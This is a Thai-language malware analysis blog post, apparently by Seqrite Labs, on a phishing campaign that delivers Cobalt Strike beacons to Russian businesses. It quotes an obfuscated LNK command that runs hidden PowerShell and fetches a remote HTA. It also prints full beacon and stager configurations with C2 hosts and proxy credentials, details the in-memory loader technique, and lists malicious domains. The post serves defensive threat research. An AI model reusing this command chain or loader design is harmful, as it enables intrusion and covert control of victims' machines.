ปฏิบัติการ FrostBeacon: ปฏิบัติการโจมตีโคบอลต์หลายกลุ่มมุ่งเป้าไปที่รัสเซีย
เนื้อหา
- บทนำ
- เป้าหมายสำคัญ
- โฟกัสทางภูมิศาสตร์
- อุตสาหกรรมที่ได้รับผลกระทบ
- คลัสเตอร์ LNK
- การเข้าถึงเบื้องต้น: การส่งมอบเอกสารสำคัญ
- อีเมลฟิชชิ่งและการล่อลวง
- LNK และ HTA Loader ที่เป็นอันตราย
- เพย์โหลด PowerShell ที่คลุมเครือ
- คลัสเตอร์ CVE
- อีเมล์หลอกลวง
- การเชื่อมโยง CVE
- โครงสร้างพื้นฐานและการระบุแหล่งที่มา
- สรุป
- Seqrite การป้องกัน
- IOCs
- MITRE TTPs
- Authors
บทนำ
Seqrite ห้องปฏิบัติการได้ระบุแคมเปญมัลแวร์ที่มุ่งเป้าหมายโดยเฉพาะ ซึ่งติดตามได้ในชื่อปฏิบัติการ FrostBeacon ที่ส่งบีคอน Cobalt Strike ไปยังบริษัทต่างๆ ภายในสหพันธรัฐรัสเซีย อีเมลฟิชชิงบ่งชี้ว่ากลุ่มผู้คุกคามมีแรงจูงใจทางการเงิน โดยมุ่งเป้าไปที่องค์กรที่รับผิดชอบด้านการชำระเงิน สัญญา การกระทบยอด และความเสี่ยงทางกฎหมาย พบไฟล์ติดเชื้อเริ่มต้นมากกว่า 20 ไฟล์ โดยการบุกรุกอาศัยห่วงโซ่การติดเชื้อหลายชั้นที่มีคลัสเตอร์ที่แตกต่างกันสองกลุ่ม กลุ่มแรกติดเชื้อผ่านไฟล์เก็บถาวรฟิชชิงที่มีไฟล์ทางลัดที่เป็นอันตราย คลัสเตอร์ที่สองใช้ประโยชน์จากช่องโหว่การแทรกเทมเพลต CVE-2017-0199 รุ่นเก่า และยังเชื่อมโยงกับช่องโหว่ Equation Editor เก่าอีกตัวหนึ่งคือ CVE-2017-11882 ด้วย
คลัสเตอร์ทั้งสองทริกเกอร์การดำเนินการ HTA ระยะไกลเพื่อเปิดใช้งานตัวโหลด PowerShell แบบ obfuscated ซึ่งสามารถถอดรหัสและรัน shellcode ในหน่วยความจำ ซึ่งนำไปสู่การใช้งาน Cobalt Strike ระบบนิเวศของผู้โจมตีใช้ประโยชน์จากโดเมนที่ควบคุมโดยรัสเซียหลายโดเมน ซึ่งกำหนดค่าเป็นปลายทางการสั่งการและควบคุม ควบคู่ไปกับโปรไฟล์ Cobalt Strike ที่ปรับแต่งได้ มีการตรวจพบห่วงโซ่การติดเชื้อหลายห่วงโซ่ภายในแต่ละคลัสเตอร์ ซึ่งบางส่วนพบเห็นได้จริงโดยนักวิจัยหลายคนในปีนี้ บล็อกนี้ให้การวิเคราะห์ที่ครอบคลุมทั้งเวิร์กโฟลว์การติดเชื้อจากหลายคลัสเตอร์ โครงสร้างพื้นฐานที่เกี่ยวข้องที่ถูกล่าพร้อมกับเพย์โหลด และเทคนิคที่ผู้โจมตีใช้
เป้าหมายสำคัญ
โฟกัสทางภูมิศาสตร์
- สหพันธรัฐรัสเซีย
อุตสาหกรรมที่ได้รับผลกระทบ
วิสาหกิจ B2B ในด้านโลจิสติกส์ การผลิตภาคอุตสาหกรรม การก่อสร้าง และการจัดหาทางเทคนิค โดยมุ่งเน้นที่:
- แผนกการเงิน
- ฝ่ายกฎหมาย
- กล่องข้อมูลองค์กร
คลัสเตอร์ LNK

การเข้าถึงเบื้องต้น: การส่งมอบเอกสารสำคัญ
ห่วงโซ่การติดเชื้อเริ่มต้นจากการเผยแพร่ไฟล์เก็บถาวรผ่านไฟล์แนบในอีเมลฟิชชิ่ง
ชื่อไฟล์ : рекламация.zip
MD5 : 7096141a5b480e793e9a890b84ebaee2 แก้ไขล่าสุด : 2025-11-05 23:15:22 พบครั้งแรก : 2025-11-06 00:08:46 UTC (รัสเซีย)
ชื่อ เวลา และข้อมูลการติดตามที่ปรากฏครั้งแรก บ่งชี้ถึงพื้นที่เป้าหมายที่ชัดเจน แคมเปญนี้มุ่งเป้าไปที่ผู้ใช้ในสหพันธรัฐรัสเซีย โดยตรง ไฟล์ ZIP ประกอบด้วยสองส่วน:
- สมุดงาน Excel ล่อลวง มีจุดมุ่งหมายให้ปรากฏว่าถูกต้องตามกฎหมาย
- ไฟล์ LNK ที่เป็นอันตราย ปลอมตัวเป็นเอกสาร PDF
อีเมลฟิชชิ่งและการล่อลวง
เราค้นหาไฟล์ติดไวรัสเบื้องต้นเพิ่มเติมโดยอ้างอิงจากชื่อไฟล์รัสเซียของไฟล์เก็บถาวร “рекламация” เนื่องจากไฟล์นี้ไม่มีอีเมลฟิชชิ่ง ซึ่งทำให้เราได้ไฟล์ทั้งหมด 5 ไฟล์ และยังมีเชนการติดเชื้ออีกสองสามรายการ รวมถึงอีเมลที่น่าสนใจอีกด้วย

ในห่วงโซ่การติดเชื้อหนึ่ง พบอีเมลฟิชชิ่งที่ส่งมาจากรหัสอีเมล: “Kristina.Yasnova@art[.]cse[.]ru” ดังที่เห็นในภาพด้านล่าง ไฟล์เก็บถาวร RAR มีไฟล์ลวงและไฟล์ทางลัดในลักษณะเดียวกัน

อีเมลเหล่านี้เกี่ยวข้องกับการชำระเงินตามสัญญา ข้อพิพาททางกฎหมาย การทวงหนี้ การอนุญาโตตุลาการ และคำขอตรวจสอบความถูกต้องของเอกสาร นี่เป็นเรื่องปกติในภาคส่วนที่การชำระเงินระหว่างธุรกิจและสัญญาระยะยาวเป็นเรื่องปกติ กลยุทธ์นี้สอดคล้องกับแคมเปญวิศวกรรมสังคมที่ผู้โจมตีอาศัยความเชื่อใจของเหยื่อในชื่อเอกสารที่ดูคุ้นเคย โดยเฉพาะอย่างยิ่งเอกสารที่เขียนด้วยภาษาแม่ของเหยื่อ คำว่า“сводная”แปลว่าสรุป/เอกสารรวมซึ่งมักใช้ในบริบทด้านโลจิสติกส์ การเงิน และการรายงาน ในไฟล์เก็บถาวรบางไฟล์ มีเอกสารที่ไม่ได้เปิดดู แต่ดูเหมือนว่าจะเป็นเอกสารล่อลวงที่ไม่ได้ระบุถึงงบการตรวจสอบความถูกต้องใดๆ แต่เป็นเพียงเครื่องมือติดตามความดันโลหิตเท่านั้น

LNK และ HTA Loader ที่เป็นอันตราย
ชื่อไฟล์: рекламация.pdf.lnk
เอ็มดี5: 16ae36df5bee92d8c4cae8e17583a2c9
ไฟล์ LNK ถูกปลอมแปลงให้ดูเหมือนเอกสาร PDF โดยใช้ส่วนขยายสองชั้น ชื่อไฟล์“рекламация”หมายถึงการเรียกร้อง/คำร้องเรียนซึ่งเข้ากับกลลวงอีเมลทางธุรกิจ เมื่อผู้ใช้ดับเบิ้ลคลิกไฟล์ ระบบจะเรียกใช้คำสั่งต่อไปนี้ผ่าน cmd.exe:
· /c powershell -WindowStyle Hidden -Command m^s^h^t^a^ ^h^t^t^p^s^:^/^/^e^z^s^t^a^t^.^r^u^/^f^l^o^w^e^r^s^f^o^r^l^o^v^e^.^g^i^f

ลำดับการทำงานของโปรแกรมเผยให้เห็นพฤติกรรมที่เป็นอันตรายอย่างชัดเจนหลายประการ PowerShell จะทำงานในโหมดหน้าต่างซ่อนทำให้ไม่มีข้อความแจ้งเตือนใดๆ ปรากฏให้ผู้ใช้เห็น ผู้โจมตีเรียกใช้mshta.exeผ่านการเข้ารหัสระดับตัวอักษร (m^s^h^t^a) เพื่อหลีกเลี่ยงการตรวจจับโดยตรง ทันทีหลังจากการทำงาน สคริปต์จะติดต่อURL ระยะไกลเพื่อดึงข้อมูลเพย์โหลดในขั้นตอนต่อไป ไฟล์ LNK จะไม่เปิดเอกสารล่อ ใดๆ ใน เครื่อง ทำให้การติดเชื้อดำเนินไปอย่างเงียบๆ ในพื้นหลัง URL ในไฟล์ LNK คือ:
- hxxps://ezstat[.]ru/flowersforlove.gif
แม้จะปรากฎเป็นภาพ GIF แต่ทรัพยากรนี้ทำหน้าที่เป็นตัวเปลี่ยนเส้นทางหรือตัวโหลด เมื่อ mshta.exe เข้าถึง เซิร์ฟเวอร์จะตอบสนองโดยส่งส่วนประกอบที่เป็นอันตรายจริง:
· hxxps://valisi[.]ru/dosing.hta
ไฟล์HTAทำหน้าที่เป็นส่วนประกอบหลักในการดำเนินการในช่วงเริ่มต้นของการโจมตี โดยใช้สิทธิ์การเขียนสคริปต์ของ Windows อย่างเต็มรูปแบบผ่านทางmshta.exeทำให้สามารถเรียกใช้สคริปต์ได้อย่างเงียบ ๆ โดยไม่มีข้อจำกัดใด ๆ

เมื่อถูกเรียกใช้งาน HTA จะสร้างบล็อกที่เข้ารหัส Base64 หลายบล็อกขึ้นใหม่เป็นสคริปต์ PowerShell ที่บีบอัดด้วย gzip เตรียมสภาพแวดล้อมสำหรับการส่งเพย์โหลดขั้นถัดไป และเริ่มดำเนินการผ่านตรรกะแบบฝังตัว การเข้ารหัสแบบเลเยอร์เหล่านี้ทำให้เกิดความสับสน ขัดขวางการวิเคราะห์แบบคงที่ และช่วยให้มั่นใจว่าห่วงโซ่การโจมตีจะดำเนินไปอย่างราบรื่นโดยหลีกเลี่ยงการตรวจจับตั้งแต่เนิ่นๆ
เพย์โหลด PowerShell ที่คลุมเครือ
ขั้นตอนสุดท้ายของ PowerShell ทำหน้าที่สำคัญหลายประการ โดยจะใช้ลำดับการพรางข้อมูลสามชั้น ซึ่งแต่ละขั้นตอนได้รับการออกแบบมาโดยเจตนาเพื่อชะลอการเปิดเผยตรรกะที่เป็นอันตราย ชั้นแรกคือสตริง Base64 ที่บีบอัดด้วย gzip ซึ่งฝังอยู่ภายใน MemoryStream เมื่อถอดรหัสและแตกไฟล์แล้ว จะได้สคริปต์ PowerShell ขั้นที่สอง สคริปต์นี้ประกอบด้วยสองฟังก์ชันหลัก:
- ฟังก์ชันรับที่อยู่โปรแกรม: แก้ไขที่อยู่ API ของ Windows ที่ไม่ได้รับการจัดการแบบไดนามิกโดยใช้คลาสภายใน .NET Microsoft.Win32.UnsafeNativeMethods ในทางที่ผิด และโดยเฉพาะวิธีการของมัน รับโมดูลแฮนเดิล และ รับที่อยู่ Proc.
- ฟังก์ชันรับประเภทผู้แทน: สร้างประเภทผู้แทนรันไทม์โดยใช้ System.Reflection.Emit เพื่อให้สามารถดำเนินการตัวชี้ฟังก์ชันในฐานะผู้แทนที่ได้รับการจัดการ
บทบาทของพวกเขาคือการสร้างกรอบการทำงานในหน่วยความจำที่สมบูรณ์ ช่วยให้โหลดเดอร์สามารถเรียก API ได้โดยไม่ต้องประกาศคำสั่ง และไม่ต้องเขียนสิ่งประดิษฐ์ใดๆ ลงในดิสก์

ภายในสคริปต์ขั้นที่สองนี้คือเลเยอร์ที่สามและสุดท้าย: ข้อมูลที่เข้ารหัสแบบ Base64 ซึ่งเก็บไว้ในตัวแปร $v_code หลังจากถอดรหัสแล้ว สคริปต์จะทำการ ดำเนินการ XOR แบบไบต์ต่อไบต์ ด้วยคีย์ 35 ซึ่งจะสร้างบัฟเฟอร์เชลล์โค้ดดิบ จากนั้นสคริปต์จะจัดสรรหน่วยความจำที่สามารถเรียกใช้งานได้โดยใช้VirtualAllocด้วยพารามิเตอร์ที่ถูกต้องสำหรับการจัดสรรแบบ RWX (ประเภทการจัดสรร 0x3000 และแฟล็กการป้องกัน 0x40)
เชลล์โค้ดที่ถอดรหัสแล้วจะถูกคัดลอกและเรียกใช้งานผ่านตัวชี้ฟังก์ชันที่สร้างขึ้นแบบไดนามิก เชลล์โค้ดสุดท้ายนี้คือตัวโหลด Cobalt Strike Beaconซึ่งทำให้กระบวนการเรียกใช้งานแบบไร้ไฟล์หลายขั้นตอนเสร็จสมบูรณ์ การผสมผสานระหว่างการบีบอัด การเข้ารหัส Base64 แบบซ้อน การเข้ารหัส XOR การแก้ไข API แบบไดนามิก และการเรียกใช้งานโดยตรงในหน่วยความจำ สอดคล้องกับเทคนิคการโจมตีในปัจจุบันที่ออกแบบมาเพื่อหลีกเลี่ยง AMSI ข้ามการตรวจสอบ EDR และหลีกเลี่ยงการตรวจจับจากดิสก์โดยสิ้นเชิง

การถอดประกอบนี้คือเชลล์โค้ด Windows x86 ซึ่งมักพบในบีคอนมัลแวร์ ซึ่งใช้ตัวโหลดแบบสะท้อนกลับ (reflective loader) ที่แก้ไข Win32 API แบบไดนามิกโดยไม่ต้องนำเข้า โดยการผ่าน PEB ค้นหาไฟล์ kernel32.dll และแฮชชื่อฟังก์ชันที่ส่งออกโดยใช้อัลกอริทึม ROR-13 วิธีนี้ใช้เพื่อดึงพอยน์เตอร์ไปยัง LoadLibraryA, GetProcAddress, VirtualAlloc, ฟังก์ชัน WinInet และการเรียกใช้ระบบอื่นๆ

หลังจากแก้ไขชุด API แล้ว มันจะโหลดwininet.dllและสร้างช่องทางการควบคุมและสั่งการแบบ HTTP โดยปลอมตัวเป็นทราฟฟิกเว็บปกติโดยใช้ส่วนหัวและสตริงพาธที่ปลอมแปลงให้คล้ายกับไฟล์ jQuery จัดสรรหน่วยความจำ RWX ดาวน์โหลดเพย์โหลดรองเป็นส่วนๆ เขียนลงในพื้นที่ที่จัดสรรไว้ และถ่ายโอนการทำงานไปยังโค้ดที่ได้รับใหม่ ซึ่งในทางฟังก์ชันแล้วทำให้มันเป็นสัญญาณมัลแวร์แบบจัดฉากที่ออกแบบมาเพื่อการเรียกใช้คำสั่งจากระยะไกล การส่งเพย์โหลด และการควบคุมโฮสต์ที่ถูกบุกรุกอย่างถาวร การกำหนดค่าตัวจัดฉากมีดังนี้:
{'CobaltStrikeStager': {'raw': [{'netloc': 'update.ecols.ru', 'path': '/jquery-3.3.1.slim.min.js', 'port': 8443, 'headers': {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9, / ;q=0.8′, 'Accept-Language': 'en-US,en;q=0.5', 'Referer': ' http://code.jquery.com/' , 'Accept-Encoding': 'gzip, deflate', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko'}, 'inet_flags': ['INTERNET_FLAG_RELOAD', 'INTERNET_FLAG_NO_CACHE_WRITE', 'INTERNET_FLAG_SECURE', 'INTERNET_FLAG_KEEP_CONNECTION', 'INTERNET_FLAG_IGNORE_CERT_DATE_INVALID', 'INTERNET_FLAG_IGNORE_CERT_CN_INVALID', 'INTERNET_FLAG_NO_UI'], 'watermark': 987654321, 'type': 'HTTPS'}]}} {“Headers”: “Accept: text/html,application/xhtml+xml,application/xml;q=0.9, / ;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nReferer: hxxp://code.jquery.com/\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n”, “Type”: “Metasploit Download”, “URL”: “hxxp://update.ecols.ru/jquery-3.3.1.slim.min.js”}
ส่วนนี้แสดงตัวจัดฉาก Cobalt Strike ที่ปลอมตัวเป็นการดาวน์โหลด JS CDN ซึ่งเป็นเรื่องปกติสำหรับตัวโหลดขั้นแรกที่ดึงข้อมูลเพย์โหลดผ่าน HTTP(S) แบบซ่อนตัว โดยพยายามผสานเข้ากับทราฟฟิกเว็บ การกำหนดค่าด้านล่างแสดงโปรไฟล์ที่ลึกกว่ามาก: บีคอน HTTPS ที่กำหนดค่าอย่างสมบูรณ์ รายละเอียดสำคัญบางประการ:
- การประมวลผลหลังการประมวลผล รวมถึงการถอดรหัส Base64-URL และ XOR สำหรับการบดบังเพย์โหลด
- พร็อกซีและข้อมูลประจำตัวแบบฮาร์ดโค้ด
- การฉีดกระบวนการใช้ NtMapViewOfSection
{‘CobaltStrikeBeacon’: {‘raw’: [{‘BeaconType’: [‘HTTPS’], ‘Port’: 8443, ‘SleepTime’: 45000, ‘MaxGetSize’: 2801745, ‘Jitter’: 37, ‘MaxDNS’: ‘Not Found’, ‘PublicKey’: ‘30819f300d06092a864886f70d010101050003818d003081890281810084fcb90f0cb2f1dbe9de6913412e0a42fedd862c395c36c63006921d1eb5fe2860296e99283284318e84109d27ec8a17146ef21241c8012ec2ccd553b61663454d369b35189df81c8b0636513c4e9d97850e675bc3fb888bff30af985a21e5564f55c5be5275010d9b874f2a06b001ade04a3b5274bdacc1e6b8e239338f1165020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000’, ‘C2Server’: ‘update.ecols.ru,/jquery-3.3.1.min.js’, ‘UserAgent’: ‘Not Found’, ‘HttpPostUri’: ‘/jquery-3.3.2.min.js’, ‘Malleable_C2_Instructions’: [‘Remove 1522 bytes from the end’, ‘Remove 84 bytes from the beginning’, ‘Remove 3931 bytes from the beginning’, ‘Base64 URL-safe decode’, ‘XOR mask w/ random key’], ‘HttpGet_Metadata’: ‘Not Found’, ‘HttpPost_Metadata’: ‘Not Found’, ‘SpawnTo’: ‘00000000000000000000000000000000’, ‘PipeName’: ‘Not Found’, ‘DNS_Idle’: ‘Not Found’, ‘DNS_Sleep’: ‘Not Found’, ‘SSH_Host’: ‘Not Found’, ‘SSH_Port’: ‘Not Found’, ‘SSH_Username’: ‘Not Found’, ‘SSH_Password_Plaintext’: ‘Not Found’, ‘SSH_Password_Pubkey’: ‘Not Found’, ‘HttpGet_Verb’: ‘GET’, ‘HttpPost_Verb’: ‘POST’, ‘HttpPostChunk’: 0, ‘Spawnto_x86’: ‘%windir%\syswow64\dllhost.exe’, ‘Spawnto_x64’: ‘%windir%\sysnative\dllhost.exe’, ‘CryptoScheme’: 0, ‘Proxy_Config’: ‘hxxp://45.147.14.106:62900’, ‘Proxy_User’: ‘MxvNcQHY’, ‘Proxy_Password’: ‘3uuN9iwg’, ‘Proxy_Behavior’: ‘Use proxy server’, ‘Watermark’: 987654321, ‘bStageCleanup’: ‘False’, ‘bCFGCaution’: ‘False’, ‘KillDate’: 0, ‘bProcInject_StartRWX’: ‘False’, ‘bProcInject_UseRWX’: ‘False’, ‘bProcInject_MinAllocSize’: 17500, ‘ProcInject_PrependAppend_x86’: [‘9090’, ”], ‘ProcInject_PrependAppend_x64’: [‘9090’, ”], ‘ProcInject_Execute’: [‘ntdll:RtlUserThreadStart’, ‘CreateThread’, ‘NtQueueApcThread-s’, ‘CreateRemoteThread’, ‘RtlCreateUserThread’], ‘ProcInject_AllocationMethod’: ‘NtMapViewOfSection’, ‘bUsesCookies’: ‘True’, ‘HostHeader’: ”}]}} {“BeaconType”: [“HTTPS”], “Port”: 8443, “SleepTime”: 45000, “MaxGetSize”: 2801745, “Jitter”: 37, “C2Server”: “update.ecols.ru,/jquery-3.3.1.min.js”, “HttpPostUri”: “/jquery-3.3.2.min.js”, “Malleable_C2_Instructions”: [“Remove 1522 bytes from the end”, “Remove 84 bytes from the beginning”, “Remove 3931 bytes from the beginning”, “Base64 URL-safe decode”, “XOR mask w/ random key”], “HttpGet_Verb”: “GET”, “HttpPost_Verb”: “POST”, “HttpPostChunk”: 0, “Spawnto_x86”: “%windir%\syswow64\dllhost.exe”, “Spawnto_x64”: “%windir%\sysnative\dllhost.exe”, “CryptoScheme”: 0, “Proxy_Config”: “hxxp://45.147.14.106:62900”, “Proxy_User”: “MxvNcQHY”, “Proxy_Password”: “3uuN9iwg”, “Proxy_Behavior”: “Use proxy server”, “Watermark”: 987654321, “bStageCleanup”: “False”, “bCFGCaution”: “False”, “KillDate”: 0, “bProcInject_StartRWX”: “False”, “bProcInject_UseRWX”: “False”, “bProcInject_MinAllocSize”: 17500, “ProcInject_PrependAppend_x86”: [“kJA=”, “Empty”], “ProcInject_PrependAppend_x64”: [“kJA=”, “Empty”], “ProcInject_Execute”: [“ntdll:RtlUserThreadStart”, “CreateThread”, “NtQueueApcThread-s”, “CreateRemoteThread”, “RtlCreateUserThread”], “ProcInject_AllocationMethod”: “NtMapViewOfSection”, “bUsesCookies”: “True”, “HostHeader”: “”}
มีการตรวจพบไฟล์การติดเชื้อเพิ่มเติมที่ใช้ชุดโดเมนและสเตเจอร์ที่แตกต่างกัน ซึ่งจะกระตุ้นกระบวนการ MSHTA ผ่านทาง PowerShell เพื่อถอดรหัสและโหลดเชลล์โค้ดในหน่วยความจำเพื่อปรับใช้บีคอน Cobalt Strike
คลัสเตอร์ CVE
ในคลัสเตอร์ที่สอง เราตรวจพบแม้กระทั่งไฟล์ DOCX ที่ถูกส่งเป็นไฟล์แนบฟิชชิ่ง วิธีนี้ใช้ประโยชน์จากช่องโหว่ CVE-2017-0199 ที่พบได้บ่อย เพื่อเรียกใช้โปรแกรมแก้ไขสมการ ซึ่งนำไปสู่การเรียกใช้ไฟล์ HTA ระยะไกล

อีเมล์หลอกลวง
อีเมลฟิชชิ่งในกรณีนี้อ้างว่าเป็นคำขอทางกฎหมายให้ชำระหนี้ โดยระบุว่าหากไม่ได้รับการชำระเงินก่อนวันที่ 14 มีนาคม 2560 พวกเขาจะยื่นคำร้องต่อศาลอนุญาโตตุลาการคาบารอฟสค์เพื่อเรียกร้องเงินที่ค้างชำระ รวมถึงค่าปรับและดอกเบี้ย ข้อความดังกล่าวระบุข้อกำหนดเฉพาะของสัญญาที่คาดว่าจะเกิดขึ้น และขอให้ส่งคำแถลงการกระทบยอดที่ลงนามและรับรองแล้ว พร้อมเอกสารต้นฉบับไปยังที่อยู่ตามกฎหมาย และให้เก็บรักษาบันทึกการติดต่อทางอีเมลไว้

อีเมลอีกฉบับที่มีโครงสร้างคล้ายกัน ระบุกำหนดเวลาชำระเงินและเขตอำนาจศาลที่แตกต่างกัน ระบุว่าการชำระเงินจะได้รับการยอมรับตามวันที่โอนเงินผ่านธนาคาร ตามข้อตกลงในสัญญา และลงท้ายด้วยช่องลายเซ็นโดยละเอียด รวมถึงข้อมูลบัญชีธนาคาร


พบอีเมลลักษณะนี้เพิ่มเติม ซึ่งแสดงให้เห็นอย่างชัดเจนว่าเป็นเทมเพลตฟิชชิ่งขนาดใหญ่ที่นำมาใช้ซ้ำโดยมนุษย์หรือโดยอัตโนมัติ ภายในไฟล์แนบที่เป็นอันตรายрекламация.docxไฟล์ word/settings.xml.rels มีความสัมพันธ์ attachedTemplate ที่อ้างอิงถึงเทมเพลตภายนอกที่โฮสต์อยู่ที่aquacomplect[.]ruดังแสดงด้านล่าง:

การกำหนดค่านี้ทำให้ Microsoft Word ร้องขอและโหลดเทมเพลตระยะไกลระหว่างการเริ่มต้นเอกสาร เทมเพลตที่อ้างอิงจากภายนอกดังกล่าวสอดคล้องกับเทคนิคการโจมตีที่เกี่ยวข้องกับCVE-2017-0199ซึ่งผู้โจมตีฝัง URL ระยะไกลเพื่อส่งเพย์โหลดรอง (โดยทั่วไปคือ HTA หรือมัลแวร์แบบสคริปต์) โดยไม่จำเป็นต้องใช้มาโคร ดังนั้น การมีอยู่ของ โดเมน aquacomplect.ruจึงยืนยันว่าเอกสารนี้ใช้การแทรกเทมเพลตระยะไกลเป็นส่วนหนึ่งของห่วงโซ่การติดเชื้อ ในห่วงโซ่หนึ่ง เราพบเอนทิตี HTML ที่เข้ารหัสในรูปแบบเลขฐานสิบหกซึ่งดาวน์โหลดไฟล์ RTF ที่อาจมีมาโครฝังอยู่หรือเพย์โหลดโจมตีผ่านออบเจ็กต์ OLE

การเชื่อมโยง CVE
ในเชนส่วนใหญ่ เราสังเกตเห็นเอกสารดาวน์โหลดไฟล์ RTF ซึ่งใช้ประโยชน์จากช่องโหว่เก่าอีกอันหนึ่งคือ CVE-2017-11882 ใน Equation Editor แม้จะผ่านมาหลายปีแล้ว แต่ผู้โจมตียังคงพยายามใช้ประโยชน์จากช่องโหว่นี้ แม้จะแก้ไขช่องโหว่แล้วก็ตาม การเชื่อมต่อช่องโหว่ทั้งสองนี้ในลักษณะเดียวกันนี้พบได้ทั่วไป โดยใช้ CVE-2017-0199 สำหรับการส่ง ในขณะที่ CVE-2017-11882 ถูกใช้สำหรับการดำเนินการไฟล์ HTA ระยะไกลหลังจากการเปลี่ยนเส้นทางคล้ายกับคลัสเตอร์ LNK ที่นำไปสู่ Cobalt Strike

แม้กระทั่งในปี 2025 SideWinder ก็ยังคงใช้ช่องโหว่ CVE เหล่านี้อย่างต่อเนื่อง โดยมุ่งเป้าไปที่สถาบันภาครัฐระดับสูงในเอเชียใต้ (ศรีลังกา บังกลาเทศ ปากีสถาน) ด้วยการใช้ไฟล์ Word/RTF ที่เป็นอันตราย ซึ่งใช้ประโยชน์จากช่องโหว่ CVE-2017-0199 และ CVE-2017-11882 เป็นช่องทางเริ่มต้นในการแพร่กระจายเชื้อ
โครงสร้างพื้นฐานและการระบุแหล่งที่มา
โดยอิงจาก URL ของ Cobalt Strike stager “update[.]ecols[.]ru” ที่ดาวน์โหลดบีคอนสุดท้าย เราได้ค้นหา URL ที่คล้ายกันและระบุ URL ดังกล่าวมากกว่า 40 รายการโดยใช้แบบสอบถามดังต่อไปนี้

สิ่งนี้ทำให้เรามีแคมเปญเพิ่มเติมที่มีไฟล์เก็บถาวรและไฟล์เอกสารที่คล้ายกัน และมีตัวล่อหลายตัวในภาษารัสเซีย โดเมนที่พบทั้งหมดจดทะเบียนกับผู้ให้บริการในรัสเซีย และรายละเอียดวันที่สร้างมีระบุไว้ด้านล่าง
| โดเมน | วันที่สร้าง | ทะเบียน |
| incident.zilab[.]ru | 2015-11-15T09:46:56Z | ศูนย์อาร์ยู-อาร์ยู |
| mcnn[.]ru | 2004-10-18T20:00:00Z | R01-RU |
| order.edrennikov[.]ru | 2007-08-26T20:00:00Z | ศูนย์อาร์ยู-อาร์ยู |
| cba.abc92[.]ru | 1999-10-26T15:07:24Z | ศูนย์อาร์ยู-อาร์ยู |
| นิติวิทยาศาสตร์[.]jwork[.]ru | 2009-05-06T20:00:00Z | อาร์ดี-อาร์ยู |
| โฮสต์บายเน็ต[.]ru | 2017-04-09T21:43:46Z | R01-RU |
| moscable77[.]ru | 2019-03-26T11:32:10Z | REGRU-RU |
| gk-stst[.]ru | 2023-01-12T05:38:27Z | REGTIME-RU |
| aquacomplext[.]ru | 2016-02-26T15:47:04Z | REGRU-RU |
| ezstat[.]ru | 2011-01-13T13:41:30Z | ศูนย์อาร์ยู-อาร์ยู |
| ekostroy33[.]ru | 2020-10-14T07:22:13Z | R01-RU |
| valisi[.]ru | 2016-03-11T10:14:40Z | REGRU-RU |
| bsprofi[.]ru | 2010-12-29T11:51:35Z | REGTIME-RU |
| iplis[.]ru | 2011-01-15T19:15:01Z | ศูนย์อาร์ยู-อาร์ยู |
| zetag[.]ru | 2015-12-18T09:47:12Z | อาร์ดี-อาร์ยู |
| lieri[.]ru | 2020-03-04T15:48:22Z | REGRU-RU |
| ปั๊มตวงยา[.]ru | 2015-04-03T08:57:01Z | อาร์ดี-อาร์ยู |
| esetnod64[.]ru | 2023-08-14T16:38:10Z | REGRU-RU |
| yadro[.]ru | 2000-12-19T21:00:00Z | ศูนย์อาร์ยู-อาร์ยู |
| iplogger[.]ru | 2011-01-22T04:15:13Z | ศูนย์อาร์ยู-อาร์ยู |
| โครนา77[.]ru | 2018-12-19T11:06:01Z | เบเกท-รู |
| bti25[.]ru | 2022-12-10T06:57:06Z | เบเกท-รู |
| อีเมค[.]ซู | 2015-06-05T16:01:05Z | อาร์ดี-เอสยู |
| gemme-cotti[.]ru | 2016-02-02T20:21:38Z | REGRU-RU |
จากการวิเคราะห์ของเรา เราประเมินว่าผู้ก่อภัยคุกคามเป็นกลุ่มอาชญากรไซเบอร์ที่ใช้ภาษารัสเซียและมีแรงจูงใจทางการเงิน โดยพิจารณาจากอีเมลฟิชชิงและเป้าหมาย เราสังเกตเห็นความซ้ำซ้อนของกลยุทธ์ วิธีการ และเป้าหมายกับกลุ่ม Cobalt Groupซึ่งมุ่งเป้าไปที่สถาบันการเงินทั่วโลก แต่เราไม่พบตระกูลมัลแวร์เฉพาะใด ๆ ที่กลุ่มนี้ใช้ในปฏิบัติการ FrostBeacon ของเรา
สรุป
Seqrite ห้องปฏิบัติการได้วิเคราะห์แคมเปญโจมตีแบบหลายกลุ่มเป้าหมายที่มุ่งเป้าไปที่องค์กรธุรกิจแบบ B2B ของรัสเซีย โดยเน้นที่แผนกการเงินและกฎหมาย แคมเปญนี้ถูกติดตามในชื่อปฏิบัติการ FrostBeacon กลุ่มอาชญากรไซเบอร์ที่มุ่งหวังผลกำไรนี้ใช้กลยุทธ์การส่งมัลแวร์สองรูปแบบคู่ขนานกัน คือ ไฟล์ DOCX ที่เป็นอันตรายล่อลวง และไฟล์ ZIP ที่ถูกดัดแปลงให้เป็นอาวุธ โดยทั้งสองรูปแบบมีเป้าหมายเดียวกันในท้ายที่สุด นั่นคือ การติดตั้งมัลแวร์ Cobalt Strike Beacon ลงในหน่วยความจำ
ในเส้นทางแรก ผู้คุกคามได้เผยแพร่เอกสาร Word ที่ใช้ประโยชน์จากช่องโหว่ CVE-2017-0199 ซึ่งเชื่อมโยงกับ CVE-2017-11882 ในทางกลับกัน เส้นทางการติดเชื้อเส้นทางที่สองจะส่งไฟล์เก็บถาวรที่เป็นอันตรายซึ่งมีไฟล์ทางลัด ทั้งสองเส้นทางนำไปสู่การเรียกใช้ไฟล์ HTA ระยะไกลหลังจากเปลี่ยนเส้นทางผ่านโดเมนของรัสเซียเพื่อเปิดใช้งานตัวโหลด PowerShell แบบหลายชั้น ตัวโหลดใช้การเข้ารหัสสามชั้นที่ดำเนินการ shellcode เพื่อดาวน์โหลด stager และสุดท้ายแทรกเข้าสู่กระบวนการที่ถูกต้อง ซึ่งสุดท้ายจะนำไปสู่การใช้ Cobalt Strike อย่างลับๆ
Seqrite การป้องกัน
- lnk.trojan.1762957461
- โทรจัน.A18583779
- lnk.trojan.1742297824
- โทรจัน.สคริปต์.38976
- เจเนอริก PMF.S30570383
IOCs
ไฟล์
| เอกสารเก่า | |
